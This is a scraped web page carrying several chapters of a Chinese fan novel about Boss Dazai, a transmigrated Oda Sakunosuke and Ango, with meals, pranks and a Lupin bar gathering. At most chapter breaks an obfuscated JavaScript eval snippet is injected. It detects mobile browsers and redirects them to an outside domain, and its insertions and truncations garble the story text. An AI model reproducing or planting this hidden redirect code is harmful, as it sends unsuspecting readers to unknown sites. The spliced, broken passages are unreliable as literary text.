再重复一次,真是个好人啊。 7. 第七章 硬豆腐 吃过了饭,我很自然的融入了这家西餐厅。 感谢织田作之助的肌肉记忆,我的刀功不差,切出来的洋葱又整齐又快速,最重要的是,我全程面瘫着脸,没有受到洋葱的伤害,看起来从容又淡定。 “这是有技巧的。” 我说, “只要把洋葱放在冰箱里冷藏一会,再用流水冲洗过刀面,用最快的速度去切,就能做到了。” “织田先生,真能干啊!”胖老板对我赞不绝口。 不仅是繁忙的时候我可以帮忙上菜,连后厨的这些工作我全都能做。我没有争议的被留下雇佣了。 胖老板在听说了我没有去处后,也顺理成章的给我提供了二楼的房间暂住。 至此,我平稳的安顿了下来,在这里的每一天都变得很温馨平静,自在的就像是我已经待了很久一样: 时不时还能吃到辣咖喱当工作餐,哪个织田作不羡慕? …… “哦哦,真不愧是织田作!然后呢?” 太宰治捧场的坐在小店高台前,捧着脸听我说切洋葱的秘诀。 在那一天过后。 我算着时间,还没有过去两天——首领宰果然不会拖太久,就直接来了这家西餐厅,挑战了和我一样的辣咖喱。 他的身上,手腕,脖颈与左眼都重新蒙上了绷带,没有戴红围巾,没有穿标准的黑色西装,只在常服外面披了那件长长的黑色大衣。 我从楼上下来的时候,看到的就是这样一个卸去了气势、穿的普普通通的首领宰。青年托腮坐着在等我,黑色卷发蓬松,气质倦怠,垂眸沉思着什么。 ——面前还摆了一盘吃了不少的辣咖喱。 “哟。”太宰转过来头,努力打了个招呼,流着汗,辣得他苍白的面颊上都多了一抹血色。 “没想到织田作这几天吃的辣度这么薄弱啊,比我想象的还能接受呢。”他这么说着,却又往嘴巴里灌了一杯冰水,辣的露出了几乎吐魂的表情。 ——这一幕,几乎和黑时宰时期的画面一样。 我站在楼梯上,脚步停顿了一瞬,才继续下楼:“因为最近都没有吃。” 没有吃辣,所以吃辣的水平退化了。 其实也没有差到哪里——织田作之助的身体对辣的耐受性比较强。或者说,做杀手久了,身体的刺激阙值也会忍耐到变高,这反馈到了精神上的主观程度。 所以,即便我原本不太能吃辣,穿越以后能接受的辣度也不是首领宰可以轻易尝试的。 我注视着首领宰安静消瘦的面容,不动声色的换了个话题,坐在一旁自然的讲起了我是怎么对洋葱大发神威的。 太宰果然很捧场。 那只没有高光的鸢色眼眸暗沉沉的,专注的望着我,听得完全被吸引走了注意力。 这是他在‘书’中得到的无数记忆里也没听过的新鲜故事。 不是他熟稔于心的,听了成千上万遍的内容,这意味着没有反应可以参考。 ——该摆出什么表情呢? 只有一瞬间,首领宰没有思考这件事情。 因为我转向了下一个话题:“太宰呢?” 这些乏味的、普通的生活日常,是和朋友交谈时的消遣。我刚来不久,以前的事情不能说,现有关于厨房的故事已经讲完了。 那么,首领宰会说什么? 我注视着他,心里却已经隐隐有了一个答案。 首领宰脸上的神色没有丝毫改变,他托着腮,唇边带着淡淡的笑容: “我准备改良一种硬豆腐哦。现有的程度还没办法实现‘拿块豆腐撞死’的梦想,但做出来居然意外的好吃——下次做给织田作尝尝吧。” “需要什么材料?”我下定了决心,问。 实在很难接受首领宰的这种表情。 他期待太久了,期待的一场梦幻却又像是泡沫似的和他无关。 怎么会无关? “……唉?” 突如其来的话语也让青年的表情像生锈的齿轮一样卡顿住了,失语了一瞬间。 他意识到了什么似的,脸上的笑容逐渐从淡转浓,那只眼眸中都有了些许光亮。太宰却又压抑着愉快的、措辞谨慎的确认着: “织田作现在就想要尝尝吗?” “想知道会有多好吃。”我诚实的看着他发出请求。 那目光一定很难抵御,因为太宰的目光突然四处游移了起来。 如果有可能的话,其实我还想尝试‘活力清炖鸡’。但后遗症是失忆几天的话……目前的我还不能接受。 缓过来神后,绷带青年一下子闪闪发光起来,整个人都有了干劲,迫不及待的举起了一边手臂:“我们去买食材吧!” 「首领宰」「活力四射」。 这个画面太美。 ——但仔细 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14803112|158455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想想,其实首领宰从来没有在我面前露出小说里描写过的「虚无死寂」的神情。 我应了一声,下定了决心。 首领宰身上融了太多片段与画面,他是万千太宰记忆的结合体,很难排除这些影响去看清首领宰真正的自我诉求是什么。 但话又说回来,他也是太宰,一个特殊的太宰而已。为什么要把他排除在太宰们的渴望与执念之外呢? ——满足他!! 我在接下来老老实实的度过了三小时料理时间,尝到了好吃的要命的「硬豆腐」。 是胖老板很慷慨的把后厨借给了我们。 “织田作不是辣派的,反而让我有些意外唉。”绷带青年的嗓音愉快低缓,把一碟酱油推到自己的面前。 “比起蘸辣酱油的口感,我更喜欢豆腐的配料干爽一些。”我回忆着穿越前的口味。 这次来不及准备了,下次做给首领宰吃。 在我这么说了以后,太宰静静的露出了一个柔和的笑容。 他很自然的说了一句,自己也没有意识到可以这么轻松直接的说出来的话: “……嗯嗯。我很期待啊,织田作。” 西餐厅里的氛围轻松,治愈满足得仿佛这场幻梦落了地,有了切实的实感。 我看着如此轻松微笑的首领宰,也跟着安心的点了点头: “啊。” 是很安心。 我不会觉得过于美好而患得患失、恍若如梦,只会珍惜的抓紧时间享受着此刻的美好。是因为一丝疼痛一直拽着我不要飘离现实,留下清醒: ‘我的穿越是有目的的。’ ‘——我也不是你真正想要一起度过时光的那个友人啊,太宰。’ 这不是妄自菲薄,而是欺瞒确实辜负了首领宰的期盼,我对此怀有歉意。 那么首领宰,拽着他使他也如此安然平静的那一根丝线又是什么呢? 其实我是知道的。 「首领宰打算到什么程度,才能来问我的目的?」 …… 啊,上面的话题听起来好像有一些刀了。但我不这么觉得。 如果没有这根维系「现实」的丝线,我和首领宰又该怎么坦然享受到手的珍贵友情呢? ——绷带青年看过来的这个笑容,就是我穿越以来的最好慰藉了。 这是首领宰啊。 我们两个都很快乐。 8. 第八章 写小说 心神一动,我放缓了声音说: “我知道一个地方,在这里不知道有没有……等我找到了,下次一起去吧,太宰。” 太宰怔了一下,脸上若有所思,他睫毛微垂,没有追问,只有神色肉眼可见的变成了浅浅的期待: “好。” 又平静的应允了一件事。 ——Lupin酒馆是无赖派三人相聚的秘密之地,那里是首领宰珍藏到最后、却与他无关的宝地,也是我想与友人一起度过时光的最适合的地方。 所以下次交谈……还是去那里吧。 我也想要尝试一次。 如果安吾也在就好了,但在besat线只能想想……连与他相识的理由都还没有。 我默默想着,面前的硬豆腐已经吃得所剩无几,时间消磨到了现在,已经接近尾声了。 西餐厅里一时间寂静无声。 绷带青年垂眼坐着,手中漫不经心的握着筷子,有一搭没一搭的戳着空盘子,完全没有开口的意思。 就好像谁先打破了这阵静谧,率先提出了告别,这阵氛围就要真的终结了一样。 风铃响起。 胖老板提着大包小包回来了,他看了看天色叮嘱:“对了,织田酱,你的朋友回去时小心些啊,别太晚了。” “嗯?”我发出疑惑的一声。 “最近横滨有点乱。”胖老板谨慎的说,对于日常的感受,他们这种普通市民的感受是最清晰的。 “……”我对此深有体会。 要是不乱,我也没机会去港口黑手党免费吃饭。 我抬头看了一眼首领宰。 他一脸的无辜,丝毫不露破绽,还在镇定反问着:“嗯?我记得这两天黑手党们已经恢复正常了,和我们无关了吧?” “看来他们抓到人了?”胖老板也不意外的嘟囔一句,听到最新情报放松了下来。 我和首领宰都对这句话装的像是没有听见。 绷带青年恋恋不舍的从高凳子上起身,转回头,对我打了声招呼:“明天见,织田作。” “啊。”我果断应下来。反正我现在每天除了在西餐厅帮忙,上午和傍晚后都有空。 选在明天,而不是以后某一天两个人都有空、默契相聚的闲暇时光。是因为我们的时间本来就不比黑时宰和织田作充裕。 谁也不知道我们还有多少「明天」。 ——于是在第二天,首领宰带我去处理了一个大惊吓。 灰扑扑,圆滚滚的。沉甸甸,气味刺鼻的。 “织田作……看!!”首领宰的眼眸在放光。他献宝一样的指着那处被打得只剩废墟的土地,小心捧起了那个东西,一点都不在乎自己身上被染了尘土,弄得脏兮兮的。 我:“……啊。” 是手//榴//弹。 ——一枚没有处于保险状态的手//榴//弹。 我木着脸想。 首领宰终于从交流经历发展成了要带我一起玩了吗? ……玩吧玩吧。 有织田作之助的异能力「天衣无缝」在,真的出了意外,我也能及时处理。 沉默的纵容了。 然后是第三天。 我们被路边盛气凌人的贵妇人痛骂了一顿,似乎被当成了去晚了的调解家庭矛盾的无能侦探。 全程都笨拙的没找到开口机会……这是指我。 首领宰好像还挺乐在其中的。 ——两个人拘谨的被训到抬不起头。 第四天。 做了好事,帮助一对焦急的夫妇找回了被装上贩卖器官的轮船的孩子。 孩童在左边扑到父母怀里放声大哭。 首领宰在右边声泪俱下的拉着我的衣角,控诉孩子的鼻涕眼泪全抹到了他的大衣上。 这么圆满的结局,只有我手足无措的被夹在中间,木讷的满头大汗。 第五天。 我们狼狈的误入了大卖场中阿姨奶奶们的战争,最后一点形象都没有的逃了出来,要买的蟹肉罐头完全没影了,太宰脸上的绷带都挤得快散了。 两个人面面相觑。 太宰笑的非常猖狂,闭着眼睛,上气不接下气。 第六天…… 还没有发生什么,我已经汗流浃背了。 “太宰。”这一次,是我主动出声叫住了对方。 “怎么了,织田作?” 首领宰嗓音温和清朗,一如那天的打扮,披着黑色的长款外套,跟我回了西餐厅二楼宿舍,放松的坐在窗边上。 但经过这几天的胡闹,我已经完全无法想象……眼前这个稚气得如同孩子的绷带青年, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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埋头冥思苦想的红发男子还在桌前一无所知。 9. 第九章 lupin酒馆 我头都不抬写的专注,享受着这阵来之不易的静谧时光。 上午就这么过去了,太宰还维持着原来的姿势,倚靠在一旁翻动着小笔记本。再多的大纲也该反复看完了。 我一点都不担心他看到什么不该看的。毕竟——真正不该看的东西都被我藏起来了。 思路一阵枯竭。 放下笔,我决定也放过自己,明天再写。 “太宰,吃了饭再回去?”熟练的发出邀请。每天我都会这么邀请一下。 我早早发现了,首领宰的饭量惊人。 ——惊人的少。 不吃饭不睡觉还想一口气做完工作去长眠,这听起来像是我在赶稿死线前的状态。 只不过我赶稿花了几天,首领宰把这个过程拉长到了几年。 时间是紧迫的,但也没有那么重要,重要到不吃饭更好。我想首领宰无师自通了这个道理,他这一周似乎打算把菜单点个遍。 “今天有没有蟹肉粥?” 太宰随意的问着,若无其事的把笔记本还给了我,什么反应都没有。 “有。”我应了。 虽然西餐厅里本来没有,但首领宰该有特殊待遇,大部分他提到的普通料理我都能做。 无意义的又度过了闲暇的一中午。 我忙着等待最后几个客人离开,首领宰坐在角落不慌不忙的等着我。他无聊的与蟹肉粥艰难搏斗着。 门口铃铛在晃动中又一次清脆的响了。 “客人想吃点什么?”我说着重复了无数次的话,转头迎了上去。 一个戴圆框眼镜的西装小哥出现在面前。 我脚步一顿。 首领宰头都不抬的又舀了一勺粥。 不知道为什么,坂口安吾扶着门僵硬了一下,看起来比我还心慌。 “……普通的牛肉盖饭就好。”他被我引到一个干净的空余座位上,若无其事的笑了笑,努力说着。 巧合的是,这张桌位就在首领宰旁边。 坂口安吾穿着笔挺的西装,头发梳的一丝不苟,坐在餐厅位置上的腰板也挺得笔直,严谨的像是仍然在上班。 他看起来开始流汗了。 首领宰轻轻放下了勺子,发出了“咔嗒”的一声清脆响声。 好像随着这一个不起眼的动作,气场就发生了微妙的转变。 青年身体往后倚靠到了椅背上,一只缠着绷带的手背思忖的抵在了脸边,黑色的大衣面料昂贵华美,随着动作毫不怜惜的垂落到了地面。 这个清瘦的黑衣男子就坐在那里,微微偏头,从绷带后面意味不明的观察着来人。 坂口安吾:“…………” 我默默给这位可怜的友人上了杯水压惊。 绝对是恶趣味。 没记错的话,首领宰篡位后与异能特务科的长官见过一次面,确认了港口黑手党的信息变更。当时的见证者就是坂口安吾。 所以,安吾为什么会来这里? ——至少我能确认一点,他今天绝不是来见港口黑手党老大的。 …… 这顿饭对坂口先生来说,可能难熬过头了。饭菜散发着诱人的气味,他食不下咽的吞咽着。 我把眼神转向了太宰,发出了邀请:“等会去我说过的那个地方吧。” 我不知道首领宰懂不懂我的意思,或者说,他愿不愿意放任事态这么发展—— 我们两个都很清楚,如果在‘这里’结识了坂口安吾,以后越来越麻烦,他的「计划」会容易出现变数。 但—— “好啊,织田作。” 首领宰用期待的语气答应下来,眉眼弯着,嗓音有一些缥缈。任谁都看得出他的心情很好。 我不知道是什么改变了他的想法,或许是我的笔记本,或许是无赖派的诱惑,也或许是第一次妥协后的顺理成章。 总之,这是好事。 上午场变成了全天场。 保持着这样愉悦的口吻,首领宰的目光转向了坂口安吾,继续带着这种温温柔柔的无害气质: “——安吾也一起去吧。” 只在几年前和港口黑手党老大见过一面、完全没有存在感现在却被精准亲昵的呼唤着名字的坂口安吾脸色发青,感觉自己马上要死了。 黑衣男子前所未有的温柔目光一直落在他的身上,嘴角还带着浅淡的笑容。 坂口安吾被一阵胃痛级别的浓重压力笼罩了,这种气势…… 完全说不出拒绝的话。 他只能在嘴角挤出一点勉强笑容,僵硬的嗫嚅着:“明白了。我……去安排一下工作就来。” 这是他能想到的最大的委婉应对了!! “已经可以出发了。”我通情达理的陈述着,站在桌位的另一角。 胖老板看到有我们认 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“……但是织田作先生,为什么要报复他啊?” 我想。 有个吐槽役出现还是太好了。 10. 第十章 无赖派合照 坂口安吾摇晃着杯子,目光漫无目的的注视着桌面的边缘。 这已经是第二杯酒了。 他脸色怪异的坐着,已经从最开始的坐立不安肌肉紧绷,慢慢变成了放空似的发呆,很是无言。 本来以为来这里会很危险……结果他好像被忘在了一旁,港口黑手党的老大管都不管他。 尤其是耳边的两人还在闹腾: “——一次也好,让我尝尝洗涤剂掺威士忌的味道吧!” “会很难喝的,太宰。” 坂口安吾的喉结上下滚动了一下。 “那么威士忌掺洗涤剂呢?!” “酒味应该压不下去。” 坂口安吾努力把什么话咽回了喉咙里:“……” “……再加上辣椒怎么样!织田作,辣椒是一种痛觉哦。” “这么说的话,唔,对我应该没有效果。” “哈哈……毕竟织田作是个地狱加辣级别的辣度也能面不改色吃下去的可怕家伙嘛。” “不,那说的不是我吧,我只能承受重辣,再多也会受不了的。” 坂口安吾攥紧了拳头,忍吐槽忍的非常辛苦,听到这里他彻底忍不住了,一句话脱口而出: “——能吃重辣的家伙已经很了不得了啊?!” 你们两个,到底是怎么回事啊?! 坂口安吾有些抓狂。 身为异能特务科的新锐,他有幸在两年前见证了港口黑手党的新任首领太宰治就任的仪式。 所以,当这段时间横滨动荡不堪,港口黑手党有了明显异动的时候,种田长官把调查这件事的秘密任务交给了他。 两年过去了,他们都清楚新首领太宰治是个多么深不可测的男人。港口黑手党在他的统治下高速发展,不停蚕噬着各行各业,横滨的‘夜晚’把‘白日’逼得步步后退,无法招架,几乎没有喘息的时间。 可以说,这个庞大的暴力机关组织完全是太宰治意志的延续。 他们的异动,只能代表了太宰治有新的谋划。 异能特务科不可能对此放任不管,即便做不了什么,至少要弄个明白。 坂口安吾领命,就此上了心。 他的异能力「堕落论」可以读取物体上残留的记忆,是天生的优秀情报工作者。这一次,坂口安吾自然选择从港口黑手党追捕的“可疑人物”们开始查起—— 起初,他没有发觉不对。 那些人遭到了盘查和关押。犯了事的人最后压根没出来,不属于里世界的普通市民会被补偿一份好工作,客客气气请回家。 前者没法查,后者名单清晰,可以挨个追溯共同点展开分析。 坂口安吾这么忙碌了一周。 直到他的「堕落论」看到了一位红头发男人,在被抓的几分钟前……竟然是凭空出现在了海滨公园。 ‘瞬间移动’或者‘空间’的异能力? 坂口安吾终于来了精神。 这样一个异能力者,为什么会老老实实的跟着回港口黑手党被关押,最后还毫发无伤的走出了大楼? 敏锐的直觉告诉他,也许这就是港口黑手党要找的人了。即便不是,这个人也和太宰治的目的脱不开关系。 ——那么便继续试探好了。 调取监控查出红发男人去向的坂口安吾自然的走进了宿命的西餐厅。 在此之前,他哪怕过劳死了都想不到,要调查的终极目标——港口黑手党的首领太宰治居然就坐在这家西餐厅里! 对他似笑非笑的,演都不演一下!! 一点不带迂回的啊!这和玩游戏时,人还在新手村里就被终极大boss堵重生点、追着撵来撵去的玩弄有什么区别?! 坂口安吾,心脏骤停。 ……然后呢?事情为什么会发展成了现在的样子。 坂口安吾环视着周围。 在他忍不住脱口而出那句吐槽之后,酒馆里一时间安静了下来,两个人都看着他。 “……我有说错什么吗?” 坂口安吾一看到黑衣男子还在定定望着他,他的语气就不由得恢复成了拘谨,又低了下去,掩饰的推了推眼镜。 理不直,气也得壮。绝对不能对港口黑手党的老大道歉…… 至少现在两个目标人物都在眼前了,更有利于调查。 “不。”太宰治的语气中竟然透着几分赞扬,他唇边的弧度一动不动,侧头望了过来,微笑: “安吾就这样吐槽很好。” 语气明明很无害友好,坂口安吾却仿佛从中听到了居高临下的命令,那是上位者习以为常发号施令的一种冰冷感。 坂口安吾面上若无其事,心里却如坠冰窖,一片寒意:“……” 这是在警告他,只需要“吐槽”就够了吗? ……不需要做别的小动作。 他掩饰的又喝了一口酒。 …… 我:“?” 我发觉安吾又开始想多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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……是因为他打算放任自己在这个「突发事件」中最后一次满足自我? 是因为他释然的明白,我们与主世界轨迹相似却不同,既满足了执念,又终于留下了属于我们自己的微小痕迹? 还是因为…… 在三人合照中,这次他自己……如愿以偿的站在了正中央? 11. 第十一章 半夜猫猫 ——他看起来,是如此由衷的期盼着。 我刚才没有阻止他。 想要坠入一场长眠是首领宰的愿望,至少让他在这一刻沉浸在期盼中吧。 首领宰的十六岁以后,是靠期盼而活着的。 “好了,相机先借给你们。”酒保的声音打断了首领宰的状态,又或者他的沉浸只持续了短短一瞬间。 黑发男子的眼神发生了变化,鸢色的眼眸只动了一下,给人的感觉已经不同了,他的灵魂重新注入了这具消瘦的身体中。 不,最近在我的邀请下,一日两餐吃的正常且多的首领宰看起来状态好了不止一点。 太宰治镇静的把双手抄在大衣口袋里,松弛回味的视线突然与我对上了。 ——我安静的注视着他。 我想,我的眼神并没有带上谴责。 说到底,我没有这种资格,并且我有自己的计划,那和首领宰本人的意愿是无关的,也就谈不上什么谴责不谴责的。 但首领宰脸上的神色却产生了些许慌乱,没有与我继续对视,就像他的思想在刚才被洞彻了似的。 一种微妙的回避感。 他很有技巧的转移了话题:“天色已经不早了,明天傍晚再来吧。” “——安吾。”黑发男子转过了头,疑问的话语被他说的像是陈述句,居高临下的目光中是不容置疑的压迫力,黑暗无光, “你会来的吧?” 坂口安吾:“…………” 虽然不懂港口黑手党的老大刚才在干什么,但是心虚转移话题的办法不要是把压力转嫁给他这种小人物啊!! 转过头借着视角就不会被织田作先生看见了吗! “啊。”他推了推眼镜,还是干巴巴的应了。 “明天到我家来吃火锅吧。”我突然提议。 我一点都不怀疑安吾接下来会不会不来。他是冲着我来的,又不可能抗拒了解港口黑手党首领的机会。 “……说起火锅的话!”首领宰眼睛猛然一亮。 “太宰,你有什么好主意吗?” “现在不是很流行那个吗?”首领宰举起一只缠着绷带的手,憧憬的说着,“每个人带一样食材过来……” 坂口安吾:“!!” 他的脸色变得苍白,开始疯狂摇头了。 这个安吾不太敢吐槽港口黑手党boss,但是已经飞快看透了太宰迫害人的本质啊。 “很有意思啊,就这么做吧。”我毫不犹豫的同意了,对太宰会带什么食材非常感兴趣。 呆毛似乎晃动了一下。 ——对安吾的表情也很感兴趣。 安吾脸上的高光消失了,他瘫在了桌子上,嘴巴微张,魂魄仿佛提前从里面飞了出来。 “我会……来的。”他艰难的、仿佛忍辱负重一样的说道。 事情为什么会发展成他要和港口黑手党的老大一起吃饭这种事啊,他们亲近到了这种程度吗?! 散场。 我们三个在lupin酒馆门口告别,踩着昏暗的小巷子各奔东西。这条被无赖派走过无数次的路现在终于轮到我走了。 我心中非常激动。 转头看看另外两个人,他们也不是毫无触动。 首领宰双手插进大衣,眉眼柔和的走着,在我面前他除了活泼就是这种帅气的壁画画风。 凑齐无赖派一同喝酒,一同离开,这对他来说也是第一次吧。 安吾是防备心最强的那个,他基本上是带着任务来的。但无事发生、就这么抽科打诨的度过一下午的消磨时间,让他也不自觉放松了肩头,没有像来时那么紧绷。 我安心的看着这一幕。 短短一个星期,我已经毫无抵抗力的喜欢上了这种生活,但不知道…… 首领宰是怎么想的。 需要一个契机来帮助我弄明白。因为我清楚,我很难和首领宰坐下来谈谈我的归属。 一个弄不好就变成摊牌了。 尽量拖延这件事的时间吧。至少在计划有把握之前…… 我想着。 ……然后时间就到了半夜四点。 我冷静的穿上衣服,冷静的打开灯,冷静的找回自己的声带,冷静的看着桌子上瘫成一团的他: “……太宰。” “睡在书桌上会生病的。” “因为织田作这里没有沙发啊。”首领宰发出了这样的抱怨叹息。 他的大长腿无处安放,只能屈起来半搭在窗台上,整个人坦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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第十二章 计划进行时 我谨慎的移开眼神,避免用目光惊动他,连呼吸都放轻了。 真是不可思议。 穿着黑色外套的首领宰竟然就这么静静躺在旁边,卸去了防备。这比最离奇的梦还离奇。 但…… 我认真的思考着一件事情。 首领宰真的睡着了吗? 他真的放心在这里睡觉吗?在我这个……有其他目的的、需要提防的陌生来客面前? 哪怕我在他眼中是一个“织田作”。 但如果我影响了他的计划呢?他明知道这一点…… 我僵硬的躺着没动,脑袋前所未有的清醒,望着天花板听到了一道很有规律的清浅呼吸声。 脑袋里乱糟糟的,全是浮现出来的计划的细枝末节。 反正我是再也睡不着了。 …… 时间也许过去了两三个小时。 我看到天色渐渐亮了,光线渐渐染上了房间里的窗帘。 我后知后觉的意识到—— 首领宰真的睡着了。 从那一会儿闭上眼睛开始,他就没有再动过。就像……愿意把我这里当做一个暂时休憩逃避的地方似的? 哪怕他清楚我别有所图。 哪怕我们认识不久。 我盯着地板砖,心里很受震撼。 ‘——太犯规了。’ 我想着。 这就是我穿越想获得的东西啊。 我缓缓闭上眼睛,心里的顾虑和留恋全都淡去了,只剩一片安宁的决然。 我下定决心。 不必拖延时间了,该下一阶段了。 …… 等我再醒过来的时候,身旁的被褥上已经没有了人影,首领宰坐在我写作的桌前,饶有兴趣的阅读着一本书。 我睁开熬夜到干涩的眼睛,费力看了看,认出来那本是夏目老师的大作。 来到文野世界的好处就是可以看到新的文学巨著,所以我买了很多书,在写文和上厕所的间隙里会看一会儿。 咳,态度听起来很不尊重,希望夏目老师不要介意。 “呀,织田作!你醒了。” 首领宰背后仿佛长了眼睛。他放下手中的书,饶有兴致的提议:“傍晚我们轮流去超市买食材怎么样。” 这样直到从锅里捞出来食物前,都不知道对方会往火锅里下什么东西了。 “啊。”我答应了一声,目光直视上了首领宰暗沉沉的那只眼眸,不再留恋不前, “太宰……我想邀请一个人一起。” “嗯?” 首领宰用鼻音发出来一点疑惑的音色,他注视着我,神色略微收敛,意识到了我不同寻常的肃然。 “我不知道那个人在哪里……加上他,我们吃火锅才完整。”我一口气的把这段话沉稳的说完了。 无赖派齐聚,人得到齐啊。 首领宰:“…………” 他一直是那么聪明,已经意识到了我在说谁。 ——本世界那个还什么都不知道的织田作之助。 我一直避免提起他,因为时机不到,因为他的无知无觉对首领宰来说很重要。但其实,不能和真正的织田作一起喝酒,这让我也很遗憾。 首领宰沉默了一会儿。 他脸上已经什么表情都没了,那是他认真的表现。但青年的眼神仍然称得上平静温和: “织田作,请原谅我不能过多解释,但我有暂时不能和他相识的理由。” “我呢?”我反问着。 我还没有放弃想和织田作一起喝酒的念头。 首领宰看起来有些烦恼不安,他没有隐藏起自己的情绪,只是在膝盖上蜷缩起了手指,注 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14803117|158455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 视着自己大衣上原本挂着红围巾的位置,沉默不语半晌,最后说: “……我只想强调一点。” 他用异常严肃的口吻告诫了我:“——织田作,绝对不要发生战斗。” 我郑重应了。 我和真正的织田作异能相同。假如我们的「天衣无缝」在战斗中互相开启,会制造碰撞出特异点。 这一现象在主世界开启还无可厚非。 但如果在脆弱的beast世界出现……会沟通连接到主世界,将有可能获得这个世界的「真相」。 既,这个世界是虚假的「可能性世界」。 而一旦真相被两人以上知道,这个书中的平行世界就要基石不稳的毁灭了。 首领宰是知情人。哪怕只有他自己知情,一旦我和织田作之助发生战斗,获取真相,这个世界就要不稳定了。 “太宰,你不问我什么吗?” 我继续看着他,语调沉着毫无波动,稳得我自己都有些讶然。 一般来说,我和织田作见面如果危险性这么高,首领宰最该做的是阻止才对。哪怕他不给出解释,我也会同意的。 但首领宰甚至不打算阻止我,也对我的来处和所有疑点一言不发。 为此,我觉得在这一刻摊牌也是可以的了。 “织田作,你呢?”太宰微笑着反问,他把缠满绷带的那只手伸进了外衣口袋里抄好,用一种有点少年气的表情说, “你有什么要问我的?” “……我明白了。” 我终结了这个话题,心里沉甸甸的,但心脏砰砰的跳动着,每一下都很有重量感。 这就是友情吗? 这已经是他第三次妥协了。 ……我会为这样的首领宰编织一场美梦的,愿他不醒。 首先我需要织田作之助。 13. 第十三章 震撼的安吾 今天是来不及了。 我只能收敛想法,一前一后的和首领宰去买食材。 为了保密,我贡献出了店里的小碎花帆布买菜推车,据说这是某次大卖场折扣送给胖老板的。 首领宰欣然笑纳。 港口黑手党首领屈尊降贵的推着小碎花出发了,气场竟然没有一丝违和感,还有一丝温馨。 “织田作,一个小时后见!” 他愉快的打了声招呼,好听的嗓音中似乎饱含深意,仔细看那只暴露出来的鸢色眼眸,又会发现其中什么都没有。 我目送他远去。 街道上的落叶都在随风追着首领宰的脚跟打转,就像我此刻忐忑的心情一般。 特地用这样的口吻说话,首领宰会买什么稀奇古怪的食材吗? ……但仔细想想,虽然最后吃了下场可能不妙,至少味道都是有保障的。 我又安心了。 天色彻底黑了下来。多亏了横滨的本地特色,西餐厅才能闭店这么早。胖老板听说了我光速结交了新友人,高兴的搬了一套煤气炉过来,用以给我们煮火锅。 “在楼上处理不方便吧?织田酱你们随便用楼下,过后打扫好就行!” 胖老板这么说了就熟门熟路的把钥匙递给了我,他是有家室的男人,要急着赶回家吃饭的。 “多谢。”我捧着笔和纸张道谢,面前撕下来的这张纸上列着我准备去超市采买的其他物品。 例如锅和锅底,各种调料,一些正常食材——确保我们胡闹完了三个人都能填饱肚子,算是不时之需吧。 “织田先生!”门口传来安吾有些僵硬的喊声。 他来的挺早的,手中提了一个大袋子,那应该是他为这场特色火锅准备的食材了。 有菜的包装袋露了出来。 我目不斜视的把自己的注意力限定落在安吾脸上。安吾在左顾右盼后肉眼可见的放松了很多: “……太宰先生还没有来吗?” “太宰去买食材了。”我突然意识到了什么,但我没表现出来。 “最近的天气越来越冷了,我来的时候都打了个寒颤呢!”安吾很自然的抱怨着落座,脱下西装外套,又贴心的帮我把外套也叠好,都放在一旁,还打着哆嗦。 我被提醒到了,默默往清单上添上了被炉和加绒的厚靴子。 再过段时间就能用的上了。 一时间,我们两个人默默喝着热茶,听着外面的冷风呼啸,氛围宁静。 过了好一会儿,戴着眼镜的西装青年仿佛才缓了过来,他看着我的清单好奇问着:“织田先生……是刚来横滨吗?” “是的。” “我有一件事好奇很久了,如果不冒犯的话,能不能询问一下织田先生?”安吾拘谨的坐着,诚恳的向我发出了请求。 我疑惑的面瘫着脸默认。 “太宰先生有时候给人的压力感太强了。”安吾的这句话说得发自内心,他的眼神转向了我,眼镜后面写满了感慨, “不知道织田先生是怎么认识太宰先生的?能和他玩的这么好的人……我还是头一次见。” 他不动声色的打探着。 我看出来了。安吾的试探里是有一些公心,但他的私心也全是吃瓜。 